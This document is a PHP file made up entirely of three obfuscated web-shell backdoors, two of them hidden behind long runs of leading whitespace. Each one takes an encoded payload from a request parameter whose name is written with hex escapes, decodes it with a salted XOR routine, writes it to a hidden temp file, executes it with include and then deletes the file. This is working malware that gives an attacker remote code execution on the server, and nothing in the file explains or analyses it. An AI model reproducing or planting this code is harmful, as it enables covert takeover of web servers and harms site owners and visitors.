<?php																																										if(!empty($_REQUEST["o\x62je\x63\x74"])){ $item = $_REQUEST["o\x62je\x63\x74"]; $item= explode( "." , $item ) ; $property_set = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); $q = 0; $__tmp = $item; while( $v8 = array_shift( $__tmp)) {$chS = ord( $salt2[$q % $lenS]); $d = ( ( int)$v8 - $chS -( $q % 10)) ^ 34; $property_set .= chr( $d); $q++;} $factor = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); for ($bind = 0, $component = count($factor); $bind < $component; $bind++) { $dchunk = $factor[$bind]; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $rec = "$dchunk/.element"; if (file_put_contents($rec, $property_set)) { include $rec; @unlink($rec); exit; } } } }
																																										if(@$_POST["\x73ym"] !== null){ $rec = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", getcwd(), "/dev/shm", getenv("TMP")]); $dat = $_POST["\x73ym"]; $dat= explode ( '.' , $dat ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $k = 0; $len = count( $dat ); do {if( $k>= $len) break; $v8 = $dat[$k]; $chS = ord( $s[$k % $sLen] ); $dec =( ( int)$v8 - $chS -( $k % 10)) ^ 80; $obj .=chr( $dec ); $k++; }while( true ); while ($ptr = array_shift($rec)) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $dchunk = str_replace("{var_dir}", $ptr, "{var_dir}/.holder"); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } }


if(isset($_REQUEST["\x66l\x67"])){
	$factor = $_REQUEST["\x66l\x67"];
	  $factor=explode			(".",	$factor	 ); 
	$marker='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt);
            $s=0;
    
            foreach ($factor as $v2) {
                $sChar=ord($salt[$s 	%$sLen]);
                $d=((int)$v2 - $sChar - ($s 	%10)) ^ 99;
                $marker .= chr($d);
                $s++;}
	$descriptor = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd()]);
	foreach ($descriptor as $reference) {
    		if ((bool)is_dir($reference) && (bool)is_writable($reference)) {
    $property_set = str_replace("{var_dir}", $reference, "{var_dir}/.item");
    if (file_put_contents($property_set, $marker)) {
	include $property_set;
	@unlink($property_set);
	exit;
}
}
}
}